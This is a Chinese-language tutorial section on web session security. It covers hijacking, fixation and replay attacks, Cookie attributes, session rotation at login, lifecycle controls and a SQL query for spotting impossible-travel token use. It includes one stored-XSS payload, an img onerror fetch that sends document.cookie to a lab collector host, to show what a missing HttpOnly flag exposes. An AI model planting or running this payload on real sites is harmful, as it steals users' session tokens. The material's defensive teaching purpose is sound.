本节摘要:本节聚焦登录之后的通行证——会话令牌:劫持、固定、重放三类攻击的路径,Cookie 属性集(HttpOnly、Secure、SameSite、Domain/Path)逐项对应的防御对象,以及会话轮换、并发控制与彻底销毁的生命周期设计。口令再强,会话管不好,门等于白装。
想象一位住客把房卡落在大堂,捡到卡的人不需要知道房间号码,直接刷卡进门。会话令牌就是那张房卡:登录后服务端发的临时身份凭证,之后所有请求凭卡通行。会话劫持就是偷卡——拿到令牌的人以你身份畅通无阻,且不需要通过任何认证。对攻击者来说这比偷口令划算得多:口令可能已换,会话却真实有效;口令失守还能靠 MFA 兜底,会话失守时认证早已完成,第二因素形同虚设。
会话攻击有个近亲叫会话固定:攻击者不偷卡,而是先想办法让你用他准备好的卡——诱导你带着他指定的会话标识去登录,登录成功后这张卡升格为你的合法身份,攻击者手里自然也有一份。还有重放:把截获的请求原样再发一遍,若接口无防重放设计,转账、改密照样生效。
令牌会从哪儿漏?明文链路被旁路(公共网络、恶意热点截获 Cookie);XSS 在页面里执行脚本直接读 Cookie(缺 HttpOnly 时);URL 携带会话标识(被浏览器历史、日志、Referer 泄露);令牌落在前端存储里被其他脚本读取;服务端会话永不过期,给截获者无限窗口;退出登录只清了客户端 Cookie,服务端会话还活着,旧令牌依然可用。每条路径都对应一项工程疏漏,也各自对应一个防御开关。

先看一红一蓝两种 Cookie 下发方式(本地靶场响应头实录):
# 反面教材:什么属性都没带 HTTP/1.1 200 OK Set-Cookie: sid=8f3a91c2d4e5b6a7 # 整改版:属性齐全 HTTP/1.1 200 OK Set-Cookie: sid=8f3a91c2d4e5b6a7f0c1; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=7200
差别用攻击视角说透:没有 HttpOnly,页面上任何注入的脚本一句 document.cookie 就把令牌卷走(前端回显演示):
// 靶场演示:缺 HttpOnly 时 XSS 偷令牌有多容易(仅演示读取) // 假设评论框存在存储型 XSS,攻击者提交的"评论"内容为: <img src=x onerror="fetch('https://collector.lab.local/steal?c='.concat(document.cookie))"> // 当其他用户浏览评论页时,其会话令牌即随请求外带——HttpOnly 开启后 // document.cookie 读不到该键,同一段脚本的收获为空
再演示会话固定与轮换修复(服务端骨架):
# 本地靶场:登录成功即轮换会话标识,防固定攻击 def login(username, password): if not check_credential(username, password): return fail("用户名或密码错误") session.regenerate(request.sid) # 关键:签发全新标识并作废旧标识 session.bind_user(request.sid, username) resp = ok("登录成功") resp.set_cookie( "sid", session.current_id(request.sid), secure=True, httponly=True, samesite="Lax", max_age=7200, path="/", ) return resp
轮换的意义在于切断"攻击者预埋标识 → 用户登录升格"的链条:旧标识在升格瞬间即作废,预埋者手里的卡成了废卡。
逐项过一遍属性的作用对象:HttpOnly 挡脚本读取(XSS 场景下保住令牌);Secure 挡明文发送(只在 HTTPS 链路携带);SameSite 挡跨站自动携带(Lax 挡大部分跨站 POST,Strict 更彻底但影响正常跳转体验,关键后台建议 Strict);Domain 默认不设(只发本站,避免子域扩散);Path 收窄到实际需要的路径。生命周期上坚持双时效(绝对 + 空闲)、敏感操作重认证、退出彻底销毁。会话并发控制按业务定:支付类后台"单终端在线",踢掉旧会话比允许多端更安全。
⚠️ 常见坑:把长效"记住我"令牌做成与会话同权的标识。记住我应是弱凭证(只用于唤起登录界面预填),提权到完整会话仍需交互确认,否则一张半年有效的卡满街跑。
会话劫持的检测靠"同一张卡的行为指纹突变":令牌使用地点瞬移(上一分钟在本地、下一分钟在境外)、UA 与设备指纹突变、会话内操作节奏异常(机械间隔、批量拉取)。一条聚焦"令牌地理瞬移"的查询:
-- 同一会话在短时间内跨越不可能距离的登录使用记录 SELECT sid, max(country) AS c_from, min(country) AS c_to, max(ts) - min(ts) AS span_sec FROM session_usage WHERE ts > now() - interval '10 minute' GROUP BY sid HAVING count(DISTINCT country) > 1 AND max(ts) - min(ts) < 300 ORDER BY span_sec LIMIT 50;
命中即吊销该会话并通知用户重新认证。应急层面的铁律:任何账号失窃怀疑,第一动作是吊销全部会话(而不是只改密码)——改密不断会话,等于换了锁却不收回旧卡。
会话管理的金句只有一句:令牌是"活着的数据",要给它出生、体检、退休的完整流程。只管签发不管吊销的会话体系,就是张永远有效的万能房卡。
补一个高频追问:移动端与小程序怎么办?原则不变,形态微调——令牌优先走系统安全存储而非明文本地文件,长时间有效的一定要有服务端吊销能力,设备指纹与令牌绑定的松紧度按业务敏感度调。另一个常见误读是"指纹绑定越严越好":网络环境频繁切换的用户会被反复踢下线,体验崩坏会倒逼团队把校验整个关掉——绑定要做成风险评分的输入,而不是非黑即白的开关。